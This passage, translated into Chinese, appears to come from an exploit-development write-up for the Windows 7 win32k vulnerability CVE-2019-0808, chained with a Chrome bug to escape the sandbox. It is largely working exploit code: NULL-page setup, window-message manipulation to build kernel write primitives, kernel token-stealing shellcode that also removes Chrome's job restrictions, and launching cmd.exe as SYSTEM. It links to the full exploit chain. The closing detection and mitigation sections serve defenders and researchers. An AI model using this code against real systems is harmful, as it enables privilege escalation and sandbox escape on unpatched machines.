tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu) { tagITEM *result; // eax if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur here if spMenu is NULL. result = 0; else result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu; return result; }
需要注意的是,在第8行,有两个部分构成了返回的最终地址,分别是pPopupMenu,它将乘以0x6C,以及spMenu-> rgItems,它将指向NULL页面中的偏移量0x34的位置。如果无法确认这两项的值,攻击者将无法完全控制MNGetpItemFromIndex()返回的地址,从而无法控制xxxMNSetGapState()在内存中写入的地址。
但是,有一个解决方案,可以通过查看对SubMenuProc()的代码所做的更新来实现观察。更新的代码将获取wParam参数,并向其添加0x10以获取pPopupMenu的值。然后,使用它来设置变量addressToWriteTo的值,该变量用于在MNGetpItemFromIndex()中设置spMenu->rgItems的值,以便它返回要写入的xxxMNSetGapState()的正确地址。
LRESULT WINAPI SubMenuProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { if (msg == WM_MN_FINDMENUWINDOWFROMPOINT){ printf("[*] In WM_MN_FINDMENUWINDOWFROMPOINT handler...\r\n"); printf("[*] Restoring window procedure...\r\n"); SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG)DefWindowProc); /* The wParam parameter here has the same value as pPopupMenu inside MNGetpItemFromIndex, except wParam has been subtracted by minus 0x10. Code adjusts this below to accommodate. This is an important information leak as without this the attacker cannot manipulate the values returned from MNGetpItemFromIndex, which can result in kernel crashes and a dramatic decrease in exploit reliability. */ UINT pPopupAddressInCalculations = wParam + 0x10; // Set the address to write to to be the right bit of cbwndExtra in the target tagWND. UINT addressToWriteTo = ((addressToWrite + 0x6C) - ((pPopupAddressInCalculations * 0x6C) + 0x4));
要理解此代码的工作原理,我们必须重新检查xxxMNFindWindowFromPoint()的代码。需要注意的是,当调用xxxSendMessage()将MN_FINDMENUWINDOWFROMPOINT消息发送到应用程序的主窗口时,pPopupMenu的地址由xPaMNFindWindowFromPoint()在wParam参数中发送。这允许攻击者通过实现MN_FINDMENUWINDOWFROMPOINT的处理程序来获取pPopupMenu的地址,该处理程序将wParam参数的值保存到局部变量中供以后使用。
LONG_PTR __stdcall xxxMNFindWindowFromPoint(tagPOPUPMENU *pPopupMenu, UINT *pIndex, POINTS screenPt) { .... v6 = xxxSendMessage( var_pPopupMenu->spwndNextPopup, MN_FINDMENUWINDOWFROMPOINT, (WPARAM)&pPopupMenu, (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the // MN_FINDMENUWINDOWFROMPOINT usermode callback // using the address of pPopupMenu as the // wParam argument. ThreadUnlock1(); if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user // mode callback is a handle to a MFMWFP window. v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned // handle is a handle to // a window object. Set v1 to // TRUE if all is good. ...
在我们的实验期间,发现通过xxxSendMessage()发送的值要比MNGetpItemFromIndex()中使用的值小0x10。因此,漏洞利用代码将xxxSendMessage()返回的值加上0x10,以确保漏洞利用代码中的pPopupMenu值与MNGetpItemFromIndex()中使用的值相匹配。
5.7 在NULL页面中设置内存
一旦计算了addressToWriteTo,就会设置NULL页面。为了适当地设置NULL页面,需要填写以下偏移量:
· 0x20
· 0x34
· 0x4C
· 0x50到0x1050
我们可以在下图中更详细地看到:
漏洞利用代码首先将NULL页面中的偏移量0x20设置为0xFFFFFFFF。这是因为,此时spMenu将为NULL,因此spMenu->cItems将包含NULL页面的偏移量0x20处的值。将该地址的值设置为较大的无符号证书,将确保spMenu->cItems大于pPopupMenu的值,这将阻止MNGetpItemFromIndex()返回0,而不是实际结果。我们可以在下面代码的第5行看到。
tagITEM *__stdcall MNGetpItemFromIndex(tagMENU *spMenu, UINT pPopupMenu) { tagITEM *result; // eax if ( pPopupMenu == -1 || pPopupMenu >= spMenu->cItems ) // NULL pointer dereference will occur // here if spMenu is NULL. result = 0; else result = (tagITEM *)spMenu->rgItems + 0x6C * pPopupMenu; return result; }
NULL页面的偏移量0x34将包含一个DWORD,它保存spMenu->rgItems的值。它将会被设置为addressToWriteTo的值,以便第8行的计算将结果设置为primaryWindow的cbwndExtra字段的地址,减去0x4的偏移量。
其他偏移量需要更为详细的解释,以下代码显示了函数xxxMNUpdateDraggingInfo()中使用这些偏移量的代码。
.text:BF975EA3 mov eax, [ebx+14h] ; EAX = ppopupmenu->spmenu .text:BF975EA3 ; .text:BF975EA3 ; Should set EAX to 0 or NULL. .text:BF975EA6 push dword ptr [eax+4Ch] ; uIndex aka pPopupMenu. This will be the .text:BF975EA6 ; value at address 0x4C given that .text:BF975EA6 ; ppopupmenu->spmenu is NULL. .text:BF975EA9 push eax ; spMenu. Will be NULL or 0. .text:BF975EAA call MNGetpItemFromIndex .............. .text:BF975EBA add ecx, [eax+28h] ; ECX += pItemFromIndex->yItem .text:BF975EBA ; .text:BF975EBA ; pItemFromIndex->yItem will be the value .text:BF975EBA ; at offset 0x28 of whatever value .text:BF975EBA ; MNGetpItemFromIndex returns. ............... .text:BF975ECE cmp ecx, ebx .text:BF975ED0 jg short loc_BF975EDB ; Jump to loc_BF975EDB if the following .text:BF975ED0 ; condition is true: .text:BF975ED0 ; .text:BF975ED0 ; ((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
如上所示,将会使用两个参数调用MNGetpItemFromIndex():spMenu将设置为NULL值,uIndex将包含NULL页面偏移0x4C处的DWORD。然后,MNGetpItemFromIndex()返回的值将增加0x28,然后用作指向DWORD的指针。之后,结果地址处的DWORD将用于设置pItemFromIndex->yItem,它将用于计算以确定是否应该进行跳转。该漏洞利用需要确保始终采用此跳转,从而确保xxxMNSetGapState()以一致的方式写入addressToWrite。
为了确保能进行此跳转,漏洞利用将值设置为偏移量0x4C,使得MNGetpItemFromIndex()将始终返回0x120到0x180范围内的值。然后,通过将NULL页面中偏移量0x50到0x1050的字节设置为0xF0,攻击者可以确保无论MNGetpItemFromIndex()返回的值是多少,当它增加0x28并用作指向DWORD的指针时,都会导致pItemFromIndex->yItem设置为0xF0F0F0F0。这将导致以下计算的前半部分始终是一个非常大的无符号整数,因此将始终进行跳转。
((pMenuState->ptMouseLast.y - pMenuState->uDraggingHitArea->rcClient.top) + pItemFromIndex->yItem) > (pItem->yItem + SYSMET(CYDRAG))
5.8 利用有限写入原语形成更强的写入原语
一旦设置了NULL页面,SubMenuProc()将在xxxMNFindWindowFromPoint()中将hWndFakeMenu返回到xxxSendMessage(),随后执行将继续。
memset((void *)0x50, 0xF0, 0x1000); return (ULONG)hWndFakeMenu;
在xxxSendMessage()调用之后,xxxMNFindWindowFromPoint()将调用HMValidateHandleNoSecure()以确保hWndFakeMenu是窗口对象的句柄。这段代码如下所示。
v6 = xxxSendMessage( var_pPopupMenu->spwndNextPopup, MN_FINDMENUWINDOWFROMPOINT, (WPARAM)&pPopupMenu, (unsigned __int16)screenPt.x | (*(unsigned int *)&screenPt >> 16 << 16)); // Make the // MN_FINDMENUWINDOWFROMPOINT usermode callback // using the address of pPopupMenu as the // wParam argument. ThreadUnlock1(); if ( IsMFMWFPWindow(v6) ) // Validate the handle returned from the user // mode callback is a handle to a MFMWFP window. v6 = (LONG_PTR)HMValidateHandleNoSecure((HANDLE)v6, TYPE_WINDOW); // Validate that the returned handle // is a handle to a window object. // Set v1 to TRUE if all is good.
如果hWndFakeMenu被认为是窗口对象的有效句柄,则将执行xxxMNSetGapState(),这样一来将会把primaryWindow中的cbwndExtra字段设置为0x40000000,如下所示。这将允许在primaryWindow上运行的SetWindowLong()调用设置超出primaryWindow的WndExtra数据字段的正常边界的值,从而允许primaryWindow对secondaryWindow中的数据进行受控写入。
void __stdcall xxxMNSetGapState(ULONG_PTR uHitArea, UINT uIndex, UINT uFlags, BOOL fSet) { ... var_PITEM = MNGetpItem(var_POPUPMENU, uIndex); // Get the address where the first write // operation should occur, minus an // offset of 0x4. temp_var_PITEM = var_PITEM; if ( var_PITEM ) { ... var_PITEM_Minus_Offset_Of_0x6C = MNGetpItem(var_POPUPMENU_copy, uIndex - 1); // Get the // address where the second write operation // should occur, minus an offset of 0x4. This // address will be 0x6C bytes earlier in // memory than the address in var_PITEM. if ( fSet ) { *((_DWORD *)temp_var_PITEM + 1) |= 0x80000000; // Conduct the first write to the // attacker controlled address. if ( var_PITEM_Minus_Offset_Of_0x6C ) { *((_DWORD *)var_PITEM_Minus_Offset_Of_0x6C + 1) |= 0x40000000u; // Conduct the second write to the attacker // controlled address minus 0x68 (0x6C-0x4).
一旦xxxMNSetGapState()中的内核写操作完成,将会发送未记录的窗口消息0x1E5。更新的漏洞利用使用以下代码捕获此消息。
else { if ((cwp->message == 0x1E5)) { UINT offset = 0; // Create the offset variable which will hold the offset from the // start of hPrimaryWindow's cbwnd data field to write to. UINT addressOfStartofPrimaryWndCbWndData = (primaryWindowAddress + 0xB0); // Set // addressOfStartofPrimaryWndCbWndData to the address of // the start of hPrimaryWindow's cbwnd data field. // Set offset to the difference between hSecondaryWindow's // strName.Buffer's memory address and the address of // hPrimaryWindow's cbwnd data field. offset = ((secondaryWindowAddress + 0x8C) - addressOfStartofPrimaryWndCbWndData); printf("[*] Offset: 0x%08X\r\n", offset); // Set the strName.Buffer address in hSecondaryWindow to (secondaryWindowAddress + 0x16), // or the address of the bServerSideWindowProc bit. if (SetWindowLongA(hPrimaryWindow, offset, (secondaryWindowAddress + 0x16)) == 0) { printf("[!] SetWindowLongA malicious error: 0x%08X\r\n", GetLastError()); ExitProcess(-1); } else { printf("[*] SetWindowLongA called to set strName.Buffer address. Current strName.Buffer address that is being adjusted: 0x%08X\r\n", (addressOfStartofPrimaryWndCbWndData + offset)); }
此代码的开始部分,将检查窗口消息是否为0x15。如果是,代码将计算primaryWindow的wndExtra数据部分的开始与secondaryWindow的strName.Buffer指针的位置之间的距离。这两个位置之间的差异将保存到变量offset中。
完成此操作后,使用hPrimaryWindow调用SetWindowLongA(),并使用offset变量将secondaryWindow的strName.Buffer指针设置为secondaryWindow的bServerSideWindowProc字段的地址。该操作的效果如下图所示。
通过执行此操作,当在secondaryWindow上调用SetWindowText()时,它将继续使用其覆盖的strName.Buffer指针来确定应该执行写入的位置,如果这里有适当的值,那么将导致secondaryWindow的bServerSideWindowProc标记被覆盖作为SetWindowText()的IpString参数提供。
5.9 滥用tagWND写入原语以设置bServerSideWindowProc位
将secondaryWindow中的strName.Buffer字段设置为secondaryWindow的bServerSideWindowProc标志的地址后,使用hWnd参数hSecondaryWindow和lpString值“\x06”调用SetWindowText(),以便在secondaryWindow中启用bServerSideWindowProc标志。
// Write the value \x06 to the address pointed to by hSecondaryWindow's strName.Buffer // field to set the bServerSideWindowProc bit in hSecondaryWindow. if (SetWindowTextA(hSecondaryWindow, "\x06") == 0) { printf("[!] SetWindowTextA couldn't set the bServerSideWindowProc bit. Error was: 0x%08X\r\n", GetLastError()); ExitProcess(-1); } else { printf("Successfully set the bServerSideWindowProc bit at: 0x%08X\r\n", (secondaryWindowAddress + 0x16));
下图展示了在调用SetWindowTextA()之前和之后,secondaryWindow的tagWND布局。
设置bServerSideWindowProc标志可确保secondaryWindow的窗口过程sprayCallback()现在将以具有SYSTEM级别权限的内核模式运行,而不是像大多数其他窗口过程一样在用户模式下运行。这是一种流行的特权提升方法,并且已经在许多攻击中运用,例如Sednit APT组织在2017年发动的攻击。下图更加详细地说明了这一点。
5.10 窃取进程令牌并移除作业限制
在完成对SetWindowTextA()的调用后,将向hSecondaryWindow发送WM_ENTERIDLE消息,如下述代码所示。
printf("Sending hSecondaryWindow a WM_ENTERIDLE message to trigger the execution of the shellcode as SYSTEM.\r\n"); SendMessageA(hSecondaryWindow, WM_ENTERIDLE, NULL, NULL); if (success == TRUE) { printf("[*] Successfully exploited the program and triggered the shellcode!\r\n"); } else { printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n"); ExitProcess(-1); }
随后,secondaryWindow的窗口过程sprayCallback()将获取WM_ENTERIDLE消息。该功能的代码如下所示。
// Tons of thanks go to https://github.com/jvazquez-r7/MS15-061/blob/first_fix/ms15-061.cpp for // additional insight into how this function should operate. Note that a token stealing shellcode // is called here only because trying to spawn processes or do anything complex as SYSTEM // often resulted in APC_INDEX_MISMATCH errors and a kernel crash. LRESULT CALLBACK sprayCallback(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { if (uMsg == WM_ENTERIDLE) { WORD um = 0; __asm { // Grab the value of the CS register and // save it into the variable UM. mov ax, cs mov um, ax } // If UM is 0x1B, this function is executing in usermode // code and something went wrong. Therefore output a message that // the exploit didn't succeed and bail. if (um == 0x1b) { // USER MODE printf("[!] Exploit didn't succeed, entered sprayCallback with user mode privileges.\r\n"); ExitProcess(-1); // Bail as if this code is hit either the target isn't // vulnerable or something is wrong with the exploit. } else { success = TRUE; // Set the success flag to indicate the sprayCallback() // window procedure is running as SYSTEM. Shellcode(); // Call the Shellcode() function to perform the token stealing and // to remove the Job object on the Chrome renderer process. } } return DefWindowProc(hWnd, uMsg, wParam, lParam); }
由于已经在secondaryWindow的tagWND对象中设置了bServerSideWindowProc标志,因此现在应该以SYSTEM用户身份运行sprayCallback()。sprayCallback()函数首先检查传入消息是否为WM_ENTERIDLE消息。如果是,那么内联Shellcode将确保sparyCallback()确实作为SYSTEM用户运行。如果该检查通过,那么布尔型变量将成功设置为TRUE,以指示攻击成功,随后执行函数Shellcode()。
Shellcode()将使用abatchy博客文章中展示的Shellcode执行一个简单的令牌窃取攻击,在下面的代码中重点展示,并做了两处微小的修改。
// Taken from https://www.abatchy.com/2018/01/kernel-exploitation-2#token-stealing-payload-windows-7-x86-sp1. // Essentially a standard token stealing shellcode, with two lines // added to remove the Job object associated with the Chrome // renderer process. __declspec(noinline) int Shellcode() { __asm { xor eax, eax // Set EAX to 0. mov eax, DWORD PTR fs : [eax + 0x124] // Get nt!_KPCR.PcrbData. // _KTHREAD is located at FS:[0x124] mov eax, [eax + 0x50] // Get nt!_KTHREAD.ApcState.Process mov ecx, eax // Copy current process _EPROCESS structure xor edx, edx // Set EDX to 0. mov DWORD PTR [ecx + 0x124], edx // Set the JOB pointer in the _EPROCESS structure to NULL. mov edx, 0x4 // Windows 7 SP1 SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + 0B8h] // Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, 0B8h cmp [eax + 0B4h], edx // Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + 0xF8] // Get SYSTEM process nt!_EPROCESS.Token mov [ecx + 0xF8], edx // Assign SYSTEM process token. } }
这里的修改采用了Chrome渲染器进程的EPROCESS结构,并且其作业指针为NULL。这样做的目的,是因为在尝试过程中发现,即使Shellcode窃取了SYSTEM令牌,该令牌仍然会继承Chrome渲染器进程的作业对象,从而阻止漏洞利用生成任何子进程。在更改Chrome渲染器进程的令牌之前,将Chrome渲染器进程中的作业指针清空,将会从Chrome渲染器进程和稍后分配给它的任何令牌中删除作业限制,从而防止这种情况发生。
为了更好地理解对作业对象进行NULL操作的重要性,我们需要检查以下令牌转储,以获取正常的Chrome渲染器进程。需要注意的是,作业对象字段已经填写,因此作业对象限制当前正在应用于该进程。
0: kd> !process C54 Searching for Process with Cid == c54 PROCESS 859b8b40 SessionId: 2 Cid: 0c54 Peb: 7ffd9000 ParentCid: 0f30 DirBase: bf2f2cc0 ObjectTable: 8258f0d8 HandleCount: 213. Image: chrome.exe VadRoot 859b9e50 Vads 182 Clone 0 Private 2519. Modified 718. Locked 0. DeviceMap 9abe5608 Token a6fccc58 ElapsedTime 00:00:18.588 UserTime 00:00:00.000 KernelTime 00:00:00.000 QuotaPoolUsage[PagedPool] 351516 QuotaPoolUsage[NonPagedPool] 11080 Working Set Sizes (now,min,max) (9035, 50, 345) (36140KB, 200KB, 1380KB) PeakWorkingSetSize 9730 VirtualSize 734 Mb PeakVirtualSize 740 Mb PageFaultCount 12759 MemoryPriority BACKGROUND BasePriority 8 CommitCharge 5378 Job 859b3ec8 THREAD 859801e8 Cid 0c54.08e8 Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable 859c6dc8 SynchronizationEvent
为了确认这些限制确实存在,我们可以在Process Explorer中检查该进程的进程令牌。通过该进程,能够确认作业确实存在许多限制,比如禁止生成子进程。
如果该进程令牌中的“作业”字段设置为NULL,则WinDBG的!process命令不会再将作业与对象关联。
1: kd> dt nt!_EPROCESS 859b8b40 Job +0x124 Job : 0x859b3ec8 _EJOB 1: kd> dd 859b8b40+0x124 859b8c64 859b3ec8 99c4d988 00fd0000 c512eacc 859b8c74 00000000 00000000 00000070 00000f30 859b8c84 00000000 00000000 00000000 9abe5608 859b8c94 00000000 7ffaf000 00000000 00000000 859b8ca4 00000000 a4e89000 6f726863 652e656d 859b8cb4 00006578 01000000 859b3ee0 859b3ee0 859b8cc4 00000000 85980450 85947298 00000000 859b8cd4 862f2cc0 0000000e 265e67f7 00008000 1: kd> ed 859b8c64 0 1: kd> dd 859b8b40+0x124 859b8c64 00000000 99c4d988 00fd0000 c512eacc 859b8c74 00000000 00000000 00000070 00000f30 859b8c84 00000000 00000000 00000000 9abe5608 859b8c94 00000000 7ffaf000 00000000 00000000 859b8ca4 00000000 a4e89000 6f726863 652e656d 859b8cb4 00006578 01000000 859b3ee0 859b3ee0 859b8cc4 00000000 85980450 85947298 00000000 859b8cd4 862f2cc0 0000000e 265e67f7 00008000 1: kd> dt nt!_EPROCESS 859b8b40 Job +0x124 Job : (null) 1: kd> !process C54 Searching for Process with Cid == c54 PROCESS 859b8b40 SessionId: 2 Cid: 0c54 Peb: 7ffd9000 ParentCid: 0f30 DirBase: bf2f2cc0 ObjectTable: 8258f0d8 HandleCount: 214. Image: chrome.exe VadRoot 859b9e50 Vads 180 Clone 0 Private 2531. Modified 720. Locked 0. DeviceMap 9abe5608 Token a6fccc58 ElapsedTime 00:14:15.066 UserTime 00:00:00.015 KernelTime 00:00:00.000 QuotaPoolUsage[PagedPool] 351132 QuotaPoolUsage[NonPagedPool] 10960 Working Set Sizes (now,min,max) (9112, 50, 345) (36448KB, 200KB, 1380KB) PeakWorkingSetSize 9730 VirtualSize 733 Mb PeakVirtualSize 740 Mb PageFaultCount 12913 MemoryPriority BACKGROUND BasePriority 4 CommitCharge 5355 THREAD 859801e8 Cid 0c54.08e8 Teb: 7ffdf000 Win32Thread: fe118dc8 WAIT: (UserRequest) UserMode Non-Alertable 859c6dc8 SynchronizationEvent
再次检查Process Explorer,我们可以确认,由于Chrome渲染的进程令牌中的“作业”字段已为NULL,因此不再有与Chrome渲染器进程关联的任何作业。我们可以在下面的屏幕截图中看到,Chrome渲染器进程无法再使用“作业”选项卡,因为不再有任何作业与之关联,也就意味着它现在可以生成任何想要的子进程。
5.11 派生新进程
一旦Shellcode()执行完成,WindowHookProc()将进行检查,以查看变量success是否设置为TRUE,该变量表明漏洞利用已经成功完成。如果已经成功完成,那么它将在返回执行到main()之前打印成功的消息。
if (success == TRUE) { printf("[*] Successfully exploited the program and triggered the shellcode!\r\n"); } else { printf("[!] Didn't exploit the program. For some reason our privileges were not appropriate.\r\n"); ExitProcess(-1); }
main()将退出其窗口消息处理循环,因为后续没有更多的消息需要处理。随后,会执行检查,确认是否成功(设置为TRUE)。如果是,则将执行堆WinExec()的调用,以使用被盗的SYSTEM令牌执行具有SYSTEM权限的cmd.exe。
// Execute command if exploit success. if (success == TRUE) { WinExec("cmd.exe", 1); }
六、演示视频
在下面的视频中,展示了该漏洞如何与István Kurucsai的CVE-2019-5786漏洞利用相结合,以形成Google博客文章中描述的“完全可用的漏洞利用链”。请注意,尽管Chrome沙箱存在限制,但攻击者可以从Chrome中以SYSTEM身份运行任意命令。
视频:https://youtu.be/itd71Iz0iwg
我们可以在GitHub上找到完整漏洞利用链的代码:
https://github.com/exodusintel/CVE-2019-0808
七、检测方法
可以通过检查用户模式应用程序来发现是否存在漏洞利用的尝试,以查看它们是否使用lpClassName参数“#32768”对CreateWindow()或CreateWindowEx()进行任何调用。任何表现出这种行为模式的用户模式应用程序都有可能是恶意的,因为类字符串“#32768”是为系统使用而保留的,因此应该进一步对这些应用程序进行检查。
八、缓解方案
运行Windows 8或更高版本的操作系统可以防止攻击者利用此漏洞,因为Windows 8及更高版本会阻止应用程序映射第一个64 KB的内存,这也就意味着攻击者无法在空页面附件分配NULL页面或内存(例如0x30)。此外,升级到Windows 8或更高版本还允许Chrome的沙箱阻止对win32k.sys的所有调用,从而防止攻击者能够调用NtUserMNDragOver()来触发此漏洞。
在Windows 7上,唯一可能的缓解措施是应用KB4489878或KB4489885补丁,可以从CVE-2019-0808的公告页面中的链接中下载。
九、总结
要实现Chrome沙箱逃逸,需要满足许多要求。但是,通过将正确的漏洞利用与Windows 7的有限缓解措施相结合,可以成功复现最初Google在博客文章中描述的0-Day漏洞利用链。
因此,需要用户对漏洞进行及时详细的分析,并在组织内采用缓解措施,启用检测和响应功能。同时,企业的SOC/NOC团队还可以订阅nDay来监控关键资产。
还没有评论,来说两句吧...